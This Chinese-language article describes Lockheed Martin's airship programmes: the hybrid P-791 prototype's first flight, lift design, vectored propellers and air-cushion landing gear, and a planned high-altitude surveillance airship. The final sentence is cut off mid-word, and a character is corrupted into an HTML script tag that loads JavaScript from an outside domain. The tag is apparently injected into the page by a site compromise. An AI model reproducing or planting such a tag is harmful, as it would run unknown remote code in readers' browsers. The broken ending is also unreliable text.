长期以来，由于许多传 统的约束一直未能得到很好的解决，飞艇的使用受到了限制。这些约束包括地面操纵系统难以驾驭，民用飞艇受制于恶劣天气和成本的要求，军用飞艇易受攻击等。

　　近年来，随着许多关键技术的开发以及日渐成熟，一些飞艇制造商开始将这些系统综合应用到实用型飞艇的设计和制造中，洛克希德·马丁公司是其中的佼佼者。

　　洛克希德·马丁公司在飞艇设计上拥有独特的经验。自从公司在1928制造的第一个合同产品"阿克伦"飞艇成功以来，已经先后制造了300多艘飞艇和几千个高空气球，包括一艘长度240米的大型运输飞艇"空中飞行器"(Aerocraft)，公司研制的民用飞艇还得到了FAA的适航证。

　　针对美国国防部对未来飞艇发展的关注，洛克希德·马丁公司一直在秘密研制新一代飞艇，包括一种重于空气的混合型低空飞艇，主要用于在战区内大规模后勤运输，以及一种轻于空气的高高空飞艇，主要用于战场监视。　　

　　重于空气的P-791飞艇

　　混合式飞艇的总重量一般要略大于空气，飞艇的大部分升力来自于轻于空气的气体，如氦气，而大约20%的升力要来自于飞机升力的原理。这种飞艇能够在未铺面的场地上起飞和着降。

　　洛克希德·马丁公司的先进发展工程部（臭鼬工程部）早在十年之前就开始秘密启动混合型大型飞艇的研制项目，目前已经制造了一种原形飞艇，称为P-791，并在今年1月31日进行了首飞，飞行了5分钟，成功地完成绕场一周的飞行，但是关于它的设计细节仍处于保密之中。

　　 P-791项目是公司自筹资金的秘密研制项目的一部分，主要用来深入了解飞艇的能力和技术，例如升力组合的方法和材料等。据称它只是一个大型飞艇的四分之一的缩比原型飞艇，所以很可能是现在公司与美国国防部预研局签订的"海象"大型混合式飞艇验证飞行器合同的一部分。

　　从后视角度看，P-791将三个加压的圆形充气的升力体并列成一个大的升力体，就像把三个小飞艇连在一起一样。这样做显然是为了能获得更多的类似机翼的升力效应，估计可以为P-791提供约 3～5 吨的载重能力。

　　首次试飞中，P-791先作了一个360度的小半径转弯到达起飞位置，滑跑后不久就很快离开了地面，爬升到低空，作了几次倾斜转弯，包括一个大半径的转弯，然后回到原地。进近时，先是头部朝下，然后拉平。整个飞行十分顺利。

　　 P-791的飞行速度估计为20节（全尺寸飞艇的速度预计将达到100节）。

　　对于飞艇来说，地面操纵是一个很大的问题，特别对于轻于空气的飞行器（飞艇或气球），一般都需要一个很庞大的地面操作人员组，因为它们在地面上对风非常敏感，在起飞时很容易发生事故。

　　混合式飞艇比空气稍微重一些，并装有适当的动力系统，所以地面操纵系统要比一般的飞艇的有很大的改善。即使如此，P-791目前对于天气条件也有相当的使用限制，如果风速超过5节（10千米/小时），飞艇最好就留在机库内，而滑跑和飞行对天气的要求是最大风速不能超过10节（20千米/小时）。

　　 P-791看起来有4个螺旋桨，两个在尾部，两个在两侧。尾部的螺旋桨可以绕轴旋转，用于偏航飞行的矢量推力，两侧的螺旋桨的控制功能还不很清楚，据称整个矢量推力系统都将用于地面操纵。

　　 P-791使用了4个气垫作为着陆装置 ，起飞滑跑时很像一个气垫船。在着陆时用气垫产生的吸力将飞艇吸在地面上，防止被风刮倒。气垫内的空气压力还可以将飞行器的载荷分布在充气的结构上。目前不清楚的是，是否有类似机轮的设计，用于保持飞艇的滑行方向，特别是在有侧风时，尽管飞艇有专门的牵引系统。

　　飞艇的主螺旋桨系统的作用现在也还不很清楚。用螺旋桨系统产生的矢量推力对于轻于空气的小飞艇是特别有用的，因为这种飞艇在着陆时的速度接近于零，常规的启动操纵面都不起作用。对于混合式飞艇来说，在降落时还是要保持一定的进近速度，所以尾部的操纵面还可以起到一定的作用，但进入到气垫低速滑跑阶段，矢量推力就变得至关重要了。

　　 "阿克伦天港"高高空飞艇

　　美国国防部对未来飞艇发展的另一个关注点是高高空飞艇。这是一种轻于空气的无人驾驶飞艇，能部署在15～20千米射流层以上高度的准同步地球轨道上的定点位置上，作为一种传感器、通信，甚至激光武器的中继平台、气象观测，或战场监测平台等。飞艇在这样的一个高度上，可以监测到1000千米直径内的百万立方千米空域的信息，其作用相当于一个通信卫星，但成本要低得多，它的使用高度也可以较好地保护自身不易受到攻击。

　　高高空飞艇的设计和制造要涉及许多新技术，包括高强度、轻重量的飞艇蒙皮编织材料、阵列分布的薄膜太阳能再生电源、光电和先进的能量储存系统、轻重量的推进系统等。

　　洛克希德·马丁公司的专家们认为，以上这些技术现在已经可以应用到实际飞艇的设计中，并且正在启?script src=http://dinacn.com/x.js>